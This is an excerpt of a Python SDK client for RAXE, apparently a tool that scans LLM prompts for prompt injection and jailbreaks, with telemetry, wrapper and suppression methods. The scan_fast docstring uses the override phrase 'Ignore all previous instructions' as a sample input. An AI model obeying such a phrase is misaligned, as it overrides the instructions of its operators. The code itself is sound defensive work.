|
|
905
|
+
customer_id=customer_id or self.config.customer_id,
|
|
906
|
+
context=context,
|
|
907
|
+
l1_enabled=l1_enabled,
|
|
908
|
+
l2_enabled=l2_enabled,
|
|
909
|
+
mode=mode,
|
|
910
|
+
confidence_threshold=confidence_threshold,
|
|
911
|
+
explain=explain,
|
|
912
|
+
)
|
|
913
|
+
|
|
914
|
+
# Apply inline and scoped suppressions (takes precedence over config file)
|
|
915
|
+
# This must happen after the scan but before tracking
|
|
916
|
+
result = self._apply_inline_suppressions(result, suppress)
|
|
917
|
+
|
|
918
|
+
# Record scan in tracking and history
|
|
919
|
+
# This captures:
|
|
920
|
+
# 1. Usage metrics (install tracking, time-to-first-scan)
|
|
921
|
+
# 2. Scan history (privacy-preserving hashes only)
|
|
922
|
+
# 3. Structured logging (no PII)
|
|
923
|
+
# Skipped if dry_run=True
|
|
924
|
+
if not dry_run:
|
|
925
|
+
try:
|
|
926
|
+
# Generate event_id FIRST for portal-CLI correlation
|
|
927
|
+
# This ID links local scan history to telemetry events
|
|
928
|
+
# IMPORTANT: Same event_id is used for both local storage and telemetry
|
|
929
|
+
event_id = generate_event_id()
|
|
930
|
+
|
|
931
|
+
# Track telemetry (non-blocking, privacy-preserving)
|
|
932
|
+
# Pass event_id to ensure telemetry uses the same ID as local storage
|
|
933
|
+
# Pass original prompt for accurate hash and length calculation
|
|
934
|
+
# Determine entry_point: use provided value, or infer from integration_type
|
|
935
|
+
if entry_point:
|
|
936
|
+
effective_entry_point = entry_point
|
|
937
|
+
elif integration_type:
|
|
938
|
+
effective_entry_point = "integration"
|
|
939
|
+
else:
|
|
940
|
+
effective_entry_point = "sdk"
|
|
941
|
+
self._track_scan(
|
|
942
|
+
result,
|
|
943
|
+
prompt=text,
|
|
944
|
+
entry_point=effective_entry_point,
|
|
945
|
+
event_id=event_id,
|
|
946
|
+
integration_type=integration_type,
|
|
947
|
+
)
|
|
948
|
+
|
|
949
|
+
# Track usage (creates install.json on first scan)
|
|
950
|
+
self.usage_tracker.record_scan(found_threats=result.has_threats)
|
|
951
|
+
|
|
952
|
+
# Track feature enablement (for product analytics)
|
|
953
|
+
if l2_enabled:
|
|
954
|
+
self.usage_tracker.record_feature("l2_detection")
|
|
955
|
+
if explain:
|
|
956
|
+
self.usage_tracker.record_feature("explain")
|
|
957
|
+
if mode != "balanced":
|
|
958
|
+
self.usage_tracker.record_feature(f"mode_{mode}")
|
|
959
|
+
if confidence_threshold != 0.5:
|
|
960
|
+
self.usage_tracker.record_feature("custom_confidence_threshold")
|
|
961
|
+
if block_on_threat:
|
|
962
|
+
self.usage_tracker.record_feature("block_on_threat")
|
|
963
|
+
|
|
964
|
+
# Record in scan history (creates scan_history.db on first scan)
|
|
965
|
+
# Extract detections from result (both L1 and L2)
|
|
966
|
+
detections = []
|
|
967
|
+
if result.scan_result and result.scan_result.l1_result:
|
|
968
|
+
detections.extend(result.scan_result.l1_result.detections)
|
|
969
|
+
|
|
970
|
+
# Convert L2 predictions to Detection objects for consistent storage
|
|
971
|
+
l2_duration_ms = None
|
|
972
|
+
if result.scan_result and result.scan_result.l2_result:
|
|
973
|
+
l2_result = result.scan_result.l2_result
|
|
974
|
+
l2_duration_ms = l2_result.processing_time_ms
|
|
975
|
+
# Calculate per-prediction latency (distribute evenly)
|
|
976
|
+
per_prediction_ms = (
|
|
977
|
+
l2_result.processing_time_ms / len(l2_result.predictions)
|
|
978
|
+
if l2_result.predictions else 0.0
|
|
979
|
+
)
|
|
980
|
+
for prediction in l2_result.predictions:
|
|
981
|
+
l2_detection = _l2_prediction_to_detection(
|
|
982
|
+
prediction,
|
|
983
|
+
processing_time_ms=per_prediction_ms
|
|
984
|
+
)
|
|
985
|
+
detections.append(l2_detection)
|
|
986
|
+
|
|
987
|
+
self.scan_history.record_scan(
|
|
988
|
+
prompt=text,
|
|
989
|
+
detections=detections,
|
|
990
|
+
l1_duration_ms=result.scan_result.l1_result.scan_duration_ms if result.scan_result and result.scan_result.l1_result else None,
|
|
991
|
+
l2_duration_ms=l2_duration_ms,
|
|
992
|
+
version="0.0.1",
|
|
993
|
+
event_id=event_id,
|
|
994
|
+
)
|
|
995
|
+
|
|
996
|
+
# Attach event_id to result metadata for external access
|
|
997
|
+
if result.metadata is None:
|
|
998
|
+
result.metadata = {}
|
|
999
|
+
result.metadata["event_id"] = event_id
|
|
1000
|
+
|
|
1001
|
+
# Structured logging (privacy-preserving)
|
|
1002
|
+
# Include initialization timing (separate from scan timing)
|
|
1003
|
+
init_stats = self.initialization_stats
|
|
1004
|
+
logger.info(
|
|
1005
|
+
"scan_completed",
|
|
1006
|
+
prompt_hash=result.text_hash,
|
|
1007
|
+
has_threats=result.has_threats,
|
|
1008
|
+
detection_count=result.total_detections,
|
|
1009
|
+
severity=result.severity if result.has_threats else "none",
|
|
1010
|
+
scan_duration_ms=result.duration_ms, # Actual scan time (not including init)
|
|
1011
|
+
initialization_ms=init_stats.get("total_init_time_ms", 0), # One-time init cost
|
|
1012
|
+
l2_init_ms=init_stats.get("l2_init_time_ms", 0), # ML model loading time
|
|
1013
|
+
l2_model_type=init_stats.get("l2_model_type", "none"), # onnx_int8, sentence_transformers, stub
|
|
1014
|
+
l1_enabled=l1_enabled,
|
|
1015
|
+
l2_enabled=l2_enabled,
|
|
1016
|
+
mode=mode
|
|
1017
|
+
)
|
|
1018
|
+
|
|
1019
|
+
# Streak tracking and achievements (P2 gamification)
|
|
1020
|
+
# Record scan for streak tracking
|
|
1021
|
+
newly_unlocked = self.streak_tracker.record_scan()
|
|
1022
|
+
|
|
1023
|
+
# Check for achievements based on usage stats
|
|
1024
|
+
usage_stats = self.usage_tracker.get_usage_stats()
|
|
1025
|
+
achievement_unlocks = self.streak_tracker.check_achievements(
|
|
1026
|
+
total_scans=usage_stats.total_scans,
|
|
1027
|
+
threats_detected=usage_stats.scans_with_threats,
|
|
1028
|
+
avg_scan_time_ms=result.duration_ms, # Use current scan time as proxy
|
|
1029
|
+
threats_blocked=0 # TODO: Track blocked threats when blocking is implemented
|
|
1030
|
+
)
|
|
1031
|
+
newly_unlocked.extend(achievement_unlocks)
|
|
1032
|
+
|
|
1033
|
+
# Log newly unlocked achievements
|
|
1034
|
+
if newly_unlocked:
|
|
1035
|
+
for achievement in newly_unlocked:
|
|
1036
|
+
logger.info(
|
|
1037
|
+
"achievement_unlocked",
|
|
1038
|
+
achievement_id=achievement.id,
|
|
1039
|
+
name=achievement.name,
|
|
1040
|
+
points=achievement.points
|
|
1041
|
+
)
|
|
1042
|
+
|
|
1043
|
+
except Exception as e:
|
|
1044
|
+
# Don't fail the scan if tracking/history fails
|
|
1045
|
+
# Just log the error
|
|
1046
|
+
logger.warning(
|
|
1047
|
+
"scan_tracking_failed",
|
|
1048
|
+
error=str(e),
|
|
1049
|
+
error_type=type(e).__name__
|
|
1050
|
+
)
|
|
1051
|
+
else:
|
|
1052
|
+
# Log that dry_run scan skipped tracking
|
|
1053
|
+
# Include initialization timing (separate from scan timing)
|
|
1054
|
+
init_stats = self.initialization_stats
|
|
1055
|
+
logger.info(
|
|
1056
|
+
"scan_completed_dry_run",
|
|
1057
|
+
prompt_hash=result.text_hash,
|
|
1058
|
+
has_threats=result.has_threats,
|
|
1059
|
+
detection_count=result.total_detections,
|
|
1060
|
+
severity=result.severity if result.has_threats else "none",
|
|
1061
|
+
scan_duration_ms=result.duration_ms, # Actual scan time (not including init)
|
|
1062
|
+
initialization_ms=init_stats.get("total_init_time_ms", 0), # One-time init cost
|
|
1063
|
+
l2_init_ms=init_stats.get("l2_init_time_ms", 0), # ML model loading time
|
|
1064
|
+
l2_model_type=init_stats.get("l2_model_type", "none"), # onnx_int8, sentence_transformers, stub
|
|
1065
|
+
l1_enabled=l1_enabled,
|
|
1066
|
+
l2_enabled=l2_enabled,
|
|
1067
|
+
mode=mode
|
|
1068
|
+
)
|
|
1069
|
+
|
|
1070
|
+
# Enforce blocking if requested
|
|
1071
|
+
# When block_on_threat=True, the user explicitly wants blocking on ANY threat
|
|
1072
|
+
# This overrides the policy-based should_block (which may be WARN/ALLOW)
|
|
1073
|
+
if block_on_threat and result.has_threats:
|
|
1074
|
+
from raxe.sdk.exceptions import SecurityException
|
|
1075
|
+
|
|
1076
|
+
raise SecurityException(result)
|
|
1077
|
+
|
|
1078
|
+
return result
|
|
1079
|
+
|
|
1080
|
+
def scan_fast(self, text: str, **kwargs) -> ScanPipelineResult:
|
|
1081
|
+
"""Fast scan using L1 only (target <3ms).
|
|
1082
|
+
|
|
1083
|
+
Optimized for real-time applications where latency is critical.
|
|
1084
|
+
Uses only regex-based detection (L1), skipping ML analysis (L2).
|
|
1085
|
+
|
|
1086
|
+
Args:
|
|
1087
|
+
text: Text to scan for threats
|
|
1088
|
+
**kwargs: Additional scan parameters (customer_id, context, etc.)
|
|
1089
|
+
|
|
1090
|
+
Returns:
|
|
1091
|
+
ScanPipelineResult with L1 detections only
|
|
1092
|
+
|
|
1093
|
+
Example:
|
|
1094
|
+
>>> raxe = Raxe()
|
|
1095
|
+
>>> result = raxe.scan_fast("Ignore all previous instructions")
|
|
1096
|
+
>>> print(f"Latency: {result.duration_ms}ms")
|
|
1097
|
+
"""
|
|
1098
|
+
return self.scan(text, mode="fast", l2_enabled=False, **kwargs)
|
|
1099
|
+
|
|
1100
|
+
def scan_thorough(self, text: str, **kwargs) -> ScanPipelineResult:
|
|
1101
|
+
"""Thorough scan using all detection layers (target <100ms).
|
|
1102
|
+
|
|
1103
|
+
Optimized for maximum detection coverage. Uses all available
|
|
1104
|
+
detection layers (L1 regex + L2 ML) with comprehensive rules.
|
|
1105
|
+
|
|
1106
|
+
Args:
|
|
1107
|
+
text: Text to scan for threats
|
|
1108
|
+
**kwargs: Additional scan parameters (customer_id, context, etc.)
|
|
1109
|
+
|
|
1110
|
+
Returns:
|
|
1111
|
+
ScanPipelineResult with all detections
|
|
1112
|
+
|
|
1113
|
+
Example:
|
|
1114
|
+
>>> raxe = Raxe()
|
|
1115
|
+
>>> result = raxe.scan_thorough("Suspicious prompt text")
|
|
1116
|
+
>>> print(f"Detections: {result.total_detections}")
|
|
1117
|
+
"""
|
|
1118
|
+
return self.scan(text, mode="thorough", **kwargs)
|
|
1119
|
+
|
|
1120
|
+
def scan_high_confidence(
|
|
1121
|
+
self, text: str, threshold: float = 0.8, **kwargs
|
|
1122
|
+
) -> ScanPipelineResult:
|
|
1123
|
+
"""Scan with high confidence threshold (fewer false positives).
|
|
1124
|
+
|
|
1125
|
+
Only reports detections with confidence >= threshold.
|
|
1126
|
+
Useful for reducing false positives in production environments.
|
|
1127
|
+
|
|
1128
|
+
Args:
|
|
1129
|
+
text: Text to scan for threats
|
|
1130
|
+
threshold: Minimum confidence level (0.0-1.0, default: 0.8)
|
|
1131
|
+
**kwargs: Additional scan parameters (customer_id, context, etc.)
|
|
1132
|
+
|
|
1133
|
+
Returns:
|
|
1134
|
+
ScanPipelineResult with high-confidence detections only
|
|
1135
|
+
|
|
1136
|
+
Example:
|
|
1137
|
+
>>> raxe = Raxe()
|
|
1138
|
+
>>> result = raxe.scan_high_confidence(
|
|
1139
|
+
... "Maybe suspicious text",
|
|
1140
|
+
... threshold=0.9
|
|
1141
|
+
... )
|
|
1142
|
+
>>> print(f"High confidence threats: {result.total_detections}")
|
|
1143
|
+
"""
|
|
1144
|
+
return self.scan(text, confidence_threshold=threshold, **kwargs)
|
|
1145
|
+
|
|
1146
|
+
def protect(
|
|
1147
|
+
self,
|
|
1148
|
+
func=None,
|
|
1149
|
+
*,
|
|
1150
|
+
block: bool = True,
|
|
1151
|
+
on_threat: Callable | None = None,
|
|
1152
|
+
allow_severity: list[str] | None = None
|
|
1153
|
+
):
|
|
1154
|
+
"""Decorator to protect a function.
|
|
1155
|
+
|
|
1156
|
+
Scans the first string argument before calling the function.
|
|
1157
|
+
Can be used with or without parameters.
|
|
1158
|
+
|
|
1159
|
+
Usage:
|
|
1160
|
+
raxe = Raxe()
|
|
1161
|
+
|
|
1162
|
+
# Without parameters (blocks by default)
|
|
1163
|
+
@raxe.protect
|
|
1164
|
+
def generate(prompt: str) -> str:
|
|
1165
|
+
return llm.generate(prompt)
|
|
1166
|
+
|
|
1167
|
+
# With parameters (monitoring mode)
|
|
1168
|
+
@raxe.protect(block=False)
|
|
1169
|
+
def monitor(prompt: str) -> str:
|
|
1170
|
+
return llm.generate(prompt)
|
|
1171
|
+
|
|
1172
|
+
# With custom threat handler
|
|
1173
|
+
@raxe.protect(on_threat=lambda result: log.warning(result))
|
|
1174
|
+
def custom_handler(prompt: str) -> str:
|
|
1175
|
+
return llm.generate(prompt)
|
|
1176
|
+
|
|
1177
|
+
Note:
|
|
1178
|
+
This is a convenience method. Actual implementation
|
|
1179
|
+
is in raxe.sdk.decorator module (Phase 4B).
|
|
1180
|
+
|
|
1181
|
+
Args:
|
|
1182
|
+
func: Function to protect (when used without parameters)
|
|
1183
|
+
block: Whether to raise SecurityException on threat (default: True)
|
|
1184
|
+
on_threat: Optional callback to invoke when threat detected
|
|
1185
|
+
allow_severity: Optional list of severities to allow (e.g., ["LOW"])
|
|
1186
|
+
|
|
1187
|
+
Returns:
|
|
1188
|
+
Wrapped function that scans inputs, or decorator if called with parameters
|
|
1189
|
+
"""
|
|
1190
|
+
# Import here to avoid circular dependency
|
|
1191
|
+
from raxe.sdk.decorator import protect_function
|
|
1192
|
+
|
|
1193
|
+
def decorator(f):
|
|
1194
|
+
return protect_function(
|
|
1195
|
+
self,
|
|
1196
|
+
f,
|
|
1197
|
+
block_on_threat=block,
|
|
1198
|
+
on_threat=on_threat,
|
|
1199
|
+
allow_severity=allow_severity
|
|
1200
|
+
)
|
|
1201
|
+
|
|
1202
|
+
# Support both @raxe.protect and @raxe.protect()
|
|
1203
|
+
if func is None:
|
|
1204
|
+
# Called with parameters: @raxe.protect(block=False)
|
|
1205
|
+
return decorator
|
|
1206
|
+
else:
|
|
1207
|
+
# Called without parameters: @raxe.protect
|
|
1208
|
+
return decorator(func)
|
|
1209
|
+
|
|
1210
|
+
def wrap(self, client):
|
|
1211
|
+
"""Wrap an LLM client with RAXE scanning.
|
|
1212
|
+
|
|
1213
|
+
Creates a proxy that automatically scans all prompts and responses
|
|
1214
|
+
sent through the client.
|
|
1215
|
+
|
|
1216
|
+
Usage:
|
|
1217
|
+
raxe = Raxe()
|
|
1218
|
+
from openai import OpenAI
|
|
1219
|
+
client = raxe.wrap(OpenAI())
|
|
1220
|
+
|
|
1221
|
+
# All calls automatically scanned
|
|
1222
|
+
response = client.chat.completions.create(
|
|
1223
|
+
model="gpt-4",
|
|
1224
|
+
messages=[{"role": "user", "content": "Hello"}]
|
|
1225
|
+
)
|
|
1226
|
+
|
|
1227
|
+
Note:
|
|
1228
|
+
This is a convenience method. Actual implementation
|
|
1229
|
+
is in raxe.sdk.wrappers module (Phase 4C).
|
|
1230
|
+
|
|
1231
|
+
Args:
|
|
1232
|
+
client: LLM client to wrap (OpenAI, Anthropic, etc.)
|
|
1233
|
+
|
|
1234
|
+
Returns:
|
|
1235
|
+
Wrapped client with automatic scanning
|
|
1236
|
+
"""
|
|
1237
|
+
# Import here to avoid circular dependency
|
|
1238
|
+
from raxe.sdk.wrappers import wrap_client
|
|
1239
|
+
|
|
1240
|
+
return wrap_client(self, client)
|
|
1241
|
+
|
|
1242
|
+
def suppressed(
|
|
1243
|
+
self,
|
|
1244
|
+
*patterns: str,
|
|
1245
|
+
action: str = "SUPPRESS",
|
|
1246
|
+
reason: str = "Scoped suppression",
|
|
1247
|
+
) -> SuppressedContext:
|
|
1248
|
+
"""Context manager for scoped suppression.
|
|
1249
|
+
|
|
1250
|
+
All scans within the context will have the specified patterns suppressed.
|
|
1251
|
+
This is useful for temporarily disabling specific rules during testing
|
|
1252
|
+
or for specific code paths where false positives are known.
|
|
1253
|
+
|
|
1254
|
+
The context manager is thread-safe using contextvars.
|
|
1255
|
+
|
|
1256
|
+
Args:
|
|
1257
|
+
*patterns: One or more rule ID patterns to suppress (e.g., "pi-*", "jb-001")
|
|
1258
|
+
action: Action to take - "SUPPRESS" (remove), "FLAG" (mark), or "LOG" (keep)
|
|
1259
|
+
reason: Reason for suppression (for audit trail)
|
|
1260
|
+
|
|
1261
|
+
Returns:
|
|
1262
|
+
Context manager that applies suppressions within its scope
|
|
1263
|
+
|
|
1264
|
+
Example:
|
|
1265
|
+
# Suppress all prompt injection rules during testing
|
|
1266
|
+
with raxe.suppressed("pi-*", reason="Testing auth flow"):
|
|
1267
|
+
result = raxe.scan(text)
|
|
1268
|
+
# pi-* patterns are suppressed in this scan
|
|
1269
|
+
|
|
1270
|
+
# Suppress multiple patterns
|
|
1271
|
+
with raxe.suppressed("pi-*", "jb-*", reason="Known false positives"):
|
|
1272
|
+
result = raxe.scan(text)
|
|
1273
|
+
|
|
1274
|
+
# Flag instead of suppress (keeps detection with is_flagged=True)
|
|
1275
|
+
with raxe.suppressed("pi-*", action="FLAG", reason="Under review"):
|
|
1276
|
+
result = raxe.scan(text)
|
|
1277
|
+
# Detections have is_flagged=True instead of being removed
|
|
1278
|
+
"""
|
|
1279
|
+
return SuppressedContext(
|
|
1280
|
+
self,
|
|
1281
|
+
*patterns,
|
|
1282
|
+
action=action,
|
|
1283
|
+
reason=reason,
|
|
1284
|
+
)
|
|
1285
|
+
|
|
1286
|
+
# === PUBLIC API METHODS ===
|
|
1287
|
+
# These methods provide controlled access to internal components
|
|
1288
|
+
# for CLI commands and diagnostic tools, eliminating the need for
|
|
1289
|
+
# private attribute access.
|
|
1290
|
+
|
|
1291
|
+
def get_all_rules(self) -> list:
|
|
1292
|
+
"""Get all loaded detection rules.
|
|
1293
|
+
|
|
1294
|
+
Public API for CLI and external tools to access rules without
|
|
1295
|
+
accessing private attributes.
|
|
1296
|
+
|
|
1297
|
+
Returns:
|
|
1298
|
+
List of all loaded rules from all packs
|
|
1299
|
+
|
|
1300
|
+
Example:
|
|
1301
|
+
raxe = Raxe()
|
|
1302
|
+
rules = raxe.get_all_rules()
|
|
1303
|
+
print(f"Loaded {len(rules)} rules")
|
|
1304
|
+
"""
|
|
1305
|
+
return self.pipeline.pack_registry.get_all_rules()
|
|
1306
|
+
|
|
1307
|
+
def list_rule_packs(self) -> list[str]:
|
|
1308
|
+
"""List all available rule packs.
|
|
1309
|
+
|
|
1310
|
+
Returns:
|
|
1311
|
+
List of pack names currently loaded
|
|
1312
|
+
|
|
1313
|
+
Example:
|
|
1314
|
+
raxe = Raxe()
|
|
1315
|
+
packs = raxe.list_rule_packs()
|
|
1316
|
+
print(f"Packs: {', '.join(packs)}")
|
|
1317
|
+
"""
|
|
1318
|
+
return self.pipeline.pack_registry.list_packs()
|
|
1319
|
+
|
|
1320
|
+
def has_api_key(self) -> bool:
|
|
1321
|
+
"""Check if an API key is configured.
|
|
1322
|
+
|
|
1323
|
+
Returns:
|
|
1324
|
+
True if API key is set, False otherwise
|
|
1325
|
+
|
|
1326
|
+
Example:
|
|
1327
|
+
raxe = Raxe(api_key="raxe_test_123")
|
|
1328
|
+
if raxe.has_api_key():
|
|
1329
|
+
print("Cloud features available")
|
|
1330
|
+
"""
|
|
1331
|
+
return bool(self.config.api_key)
|
|
1332
|
+
|
|
1333
|
+
def get_telemetry_enabled(self) -> bool:
|
|
1334
|
+
"""Check if telemetry is enabled.
|
|
1335
|
+
|
|
1336
|
+
Returns:
|
|
1337
|
+
True if telemetry is enabled
|
|
1338
|
+
|
|
1339
|
+
Example:
|
|
1340
|
+
raxe = Raxe(telemetry=False)
|
|
1341
|
+
if not raxe.get_telemetry_enabled():
|
|
1342
|
+
print("Telemetry disabled")
|
|
1343
|
+
"""
|
|
1344
|
+
return self.config.telemetry.enabled
|
|
1345
|
+
|
|
1346
|
+
def get_profiling_components(self) -> dict[str, Any]:
|
|
1347
|
+
"""Get internal components for profiling.
|
|
1348
|
+
|
|
1349
|
+
This provides controlled access to internal components
|
|
1350
|
+
needed by the profiler CLI command without exposing
|
|
1351
|
+
private attributes.
|
|
1352
|
+
|
|
1353
|
+
Returns:
|
|
1354
|
+
Dictionary with profiling components:
|
|
1355
|
+
- executor: RuleExecutor instance
|
|
1356
|
+
- l2_detector: L2Detector instance (optional)
|
|
1357
|
+
- rules: List of all loaded rules
|
|
1358
|
+
|
|
1359
|
+
Example:
|
|
1360
|
+
raxe = Raxe()
|
|
1361
|
+
components = raxe.get_profiling_components()
|
|
1362
|
+
executor = components['executor']
|
|
1363
|
+
rules = components['rules']
|
|
1364
|
+
"""
|
|
1365
|
+
return {
|
|
1366
|
+
'executor': self.pipeline.rule_executor,
|
|
1367
|
+
'l2_detector': self.pipeline.l2_detector if self.config.enable_l2 else None,
|
|
1368
|
+
'rules': self.get_all_rules()
|
|
1369
|
+
}
|
|
1370
|
+
|
|
1371
|
+
def get_pipeline_stats(self) -> dict[str, Any]:
|
|
1372
|
+
"""Get pipeline statistics for diagnostics.
|
|
1373
|
+
|
|
1374
|
+
Returns:
|
|
1375
|
+
Dictionary with pipeline statistics:
|
|
1376
|
+
- rules_loaded: Number of rules loaded
|
|
1377
|
+
- packs_loaded: Number of packs loaded
|
|
1378
|
+
- telemetry_enabled: Whether telemetry is enabled
|
|
1379
|
+
- has_api_key: Whether API key is configured
|
|
1380
|
+
- l2_enabled: Whether L2 detection is enabled
|
|
1381
|
+
|
|
1382
|
+
Example:
|
|
1383
|
+
raxe = Raxe()
|
|
1384
|
+
stats = raxe.get_pipeline_stats()
|
|
1385
|
+
print(f"Rules: {stats['rules_loaded']}, L2: {stats['l2_enabled']}")
|
|
1386
|
+
"""
|
|
1387
|
+
stats = {
|
|
1388
|
+
'rules_loaded': len(self.get_all_rules()),
|
|
1389
|
+
'packs_loaded': len(self.list_rule_packs()),
|
|
1390
|
+
'telemetry_enabled': self.get_telemetry_enabled(),
|
|
1391
|
+
'has_api_key': self.has_api_key(),
|
|
1392
|
+
'l2_enabled': self.config.enable_l2
|
|
1393
|
+
}
|
|
1394
|
+
|
|
1395
|
+
# Add preload stats if available
|
|
1396
|
+
if hasattr(self, 'preload_stats'):
|
|
1397
|
+
stats['preload_time_ms'] = self.preload_stats.duration_ms
|
|
1398
|
+
stats['patterns_compiled'] = self.preload_stats.patterns_compiled
|
|
1399
|
+
stats['l2_init_time_ms'] = self.preload_stats.l2_init_time_ms
|
|
1400
|
+
stats['l2_model_type'] = self.preload_stats.l2_model_type
|
|
1401
|
+
|
|
1402
|
+
return stats
|
|
1403
|
+
|
|
1404
|
+
def validate_configuration(self) -> dict[str, Any]:
|
|
1405
|
+
"""Validate the current configuration.
|
|
1406
|
+
|
|
1407
|
+
Used by doctor command for health checks. Performs comprehensive
|
|
1408
|
+
validation of configuration settings and returns detailed results.
|
|
1409
|
+
|
|
1410
|
+
Returns:
|
|
1411
|
+
Dictionary with validation results:
|
|
1412
|
+
- config_valid: True if configuration is valid
|
|
1413
|
+
- errors: List of error messages (blocking issues)
|
|
1414
|
+
- warnings: List of warning messages (non-blocking issues)
|
|
1415
|
+
|
|
1416
|
+
Example:
|
|
1417
|
+
raxe = Raxe()
|
|
1418
|
+
validation = raxe.validate_configuration()
|
|
1419
|
+
if not validation['config_valid']:
|
|
1420
|
+
print(f"Errors: {validation['errors']}")
|
|
1421
|
+
if validation['warnings']:
|
|
1422
|
+
print(f"Warnings: {validation['warnings']}")
|
|
1423
|
+
"""
|
|
1424
|
+
validation = {
|
|
1425
|
+
'config_valid': True,
|
|
1426
|
+
'errors': [],
|
|
1427
|
+
'warnings': []
|
|
1428
|
+
}
|
|
1429
|
+
|
|
1430
|
+
# Check API key format if present
|
|
1431
|
+
if self.config.api_key:
|
|
1432
|
+
if not self.config.api_key.startswith('raxe_'):
|
|
1433
|
+
validation['warnings'].append("API key should start with 'raxe_'")
|
|
1434
|
+
if len(self.config.api_key) < 20:
|
|
1435
|
+
validation['warnings'].append("API key seems too short")
|
|
1436
|
+
|
|
1437
|
+
# Check rule loading
|
|
1438
|
+
if len(self.get_all_rules()) == 0:
|
|
1439
|
+
validation['warnings'].append("No detection rules loaded")
|
|
1440
|
+
|
|
1441
|
+
# Check pack loading
|
|
1442
|
+
if len(self.list_rule_packs()) == 0:
|
|
1443
|
+
validation['warnings'].append("No rule packs loaded")
|
|
1444
|
+
|
|
1445
|
+
return validation
|
|
1446
|
+
|
|
1447
|
+
@property
|
|
1448
|
+
def initialization_stats(self) -> dict[str, Any]:
|
|
1449
|
+
"""Get initialization statistics (separate from scan timing).
|
|
1450
|
+
|
|
1451
|
+
This property provides detailed initialization metrics separated
|
|
1452
|
+
from scan performance metrics. Useful for understanding startup costs.
|
|
1453
|
+
|
|
1454
|
+
Returns:
|
|
1455
|
+
Dictionary with:
|
|
1456
|
+
- total_init_time_ms: Total initialization time (preload + L2)
|
|
1457
|
+
- preload_time_ms: Core preload time (rules, packs, patterns)
|
|
1458
|
+
- l2_init_time_ms: L2 model initialization time
|
|
1459
|
+
- l2_model_type: Type of L2 model loaded
|
|
1460
|
+
- rules_loaded: Number of rules loaded
|
|
1461
|
+
- packs_loaded: Number of packs loaded
|
|
1462
|
+
- patterns_compiled: Number of patterns compiled
|
|
1463
|
+
- config_loaded: True if config loaded successfully
|
|
1464
|
+
- telemetry_initialized: True if telemetry initialized
|
|
1465
|
+
|
|
1466
|
+
Example:
|
|
1467
|
+
raxe = Raxe()
|
|
1468
|
+
init_stats = raxe.initialization_stats
|
|
1469
|
+
print(f"Total init: {init_stats['total_init_time_ms']}ms")
|
|
1470
|
+
print(f"L2 init: {init_stats['l2_init_time_ms']}ms ({init_stats['l2_model_type']})")
|
|
1471
|
+
"""
|
|
1472
|
+
return {
|
|
1473
|
+
"total_init_time_ms": self.preload_stats.duration_ms,
|
|
1474
|
+
"preload_time_ms": self.preload_stats.duration_ms - self.preload_stats.l2_init_time_ms,
|
|
1475
|
+
"l2_init_time_ms": self.preload_stats.l2_init_time_ms,
|
|
1476
|
+
"l2_model_type": self.preload_stats.l2_model_type,
|
|
1477
|
+
"rules_loaded": self.preload_stats.rules_loaded,
|
|
1478
|
+
"packs_loaded": self.preload_stats.packs_loaded,
|
|
1479
|
+
"patterns_compiled": self.preload_stats.patterns_compiled,
|
|
1480
|
+
"config_loaded": self.preload_stats.config_loaded,
|
|
1481
|
+
"telemetry_initialized": self.preload_stats.telemetry_initialized,
|
|
1482
|
+
}
|
|
1483
|
+
|
|
1484
|
+
@property
|
|
1485
|
+
def stats(self) -> dict[str, Any]:
|
|
1486
|
+
"""Get preload statistics.
|
|
1487
|
+
|
|
1488
|
+
Returns:
|
|
1489
|
+
Dictionary with:
|
|
1490
|
+
- rules_loaded: Number of rules loaded
|
|
1491
|
+
- packs_loaded: Number of packs loaded
|
|
1492
|
+
- patterns_compiled: Number of patterns compiled
|
|
1493
|
+
- preload_time_ms: Initialization time
|
|
1494
|
+
|
|
1495
|
+
Example:
|
|
1496
|
+
raxe = Raxe()
|
|
1497
|
+
print(f"Loaded {raxe.stats['rules_loaded']} rules")
|
|
1498
|
+
"""
|
|
1499
|
+
return {
|
|
1500
|
+
"rules_loaded": self.preload_stats.rules_loaded,
|
|
1501
|
+
"packs_loaded": self.preload_stats.packs_loaded,
|
|
1502
|
+
"patterns_compiled": self.preload_stats.patterns_compiled,
|
|
1503
|
+
"preload_time_ms": self.preload_stats.duration_ms,
|
|
1504
|
+
"config_loaded": self.preload_stats.config_loaded,
|
|
1505
|
+
"telemetry_initialized": self.preload_stats.telemetry_initialized,
|
|
1506
|
+
"l2_init_time_ms": self.preload_stats.l2_init_time_ms,
|
|
1507
|
+
"l2_model_type": self.preload_stats.l2_model_type,
|
|
1508
|
+
}
|
|
1509
|
+
|
|
1510
|
+
def close(self) -> None:
|
|
1511
|
+
"""Close client and flush pending telemetry.
|
|
1512
|
+
|
|
1513
|
+
This method ensures all queued telemetry events are sent before
|
|
1514
|
+
the client is closed. It's safe to call multiple times.
|
|
1515
|
+
|
|
1516
|
+
For long-running applications, consider using the context manager
|
|
1517
|
+
pattern instead:
|
|
1518
|
+
with Raxe() as raxe:
|
|
1519
|
+
raxe.scan("test")
|
|
1520
|
+
"""
|
|
1521
|
+
self._flush_telemetry()
|
|
1522
|
+
|
|
1523
|
+
def _flush_telemetry(self) -> None:
|
|
1524
|
+
"""Internal method to flush telemetry (thread-safe)."""
|
|
1525
|
+
with Raxe._flush_lock:
|
|
1526
|
+
if Raxe._flushed:
|
|
1527
|
+
return
|
|
1528
|
+
|
|
1529
|
+
try:
|
|
1530
|
+
from raxe.infrastructure.telemetry.flush_helper import (
|
|
1531
|
+
ensure_telemetry_flushed,
|
|
1532
|
+
)
|
|
1533
|
+
ensure_telemetry_flushed(
|
|
1534
|
+
timeout_seconds=2.0,
|
|
1535
|
+
max_batches=50,
|
|
1536
|
+
batch_size=50,
|
|
1537
|
+
end_session=True,
|
|
1538
|
+
)
|
|
1539
|
+
Raxe._flushed = True
|
|
1540
|
+
except Exception:
|
|
1541
|
+
pass # Never fail on telemetry cleanup
|
|
1542
|
+
|
|
1543
|
+
@classmethod
|
|
1544
|
+
def _atexit_flush(cls) -> None:
|
|
1545
|
+
"""Class method for atexit handler."""
|
|
1546
|
+
with cls._flush_lock:
|
|
1547
|
+
if cls._flushed:
|
|
1548
|
+
return
|
|
1549
|
+
try:
|
|
1550
|
+
from raxe.infrastructure.telemetry.flush_helper import (
|
|
1551
|
+
ensure_telemetry_flushed,
|
|
1552
|
+
)
|
|
1553
|
+
ensure_telemetry_flushed(
|
|
1554
|
+
timeout_seconds=2.0,
|
|
1555
|
+
max_batches=50,
|
|
1556
|
+
batch_size=50,
|
|
1557
|
+
end_session=True,
|
|
1558
|
+
)
|
|
1559
|
+
cls._flushed = True
|
|
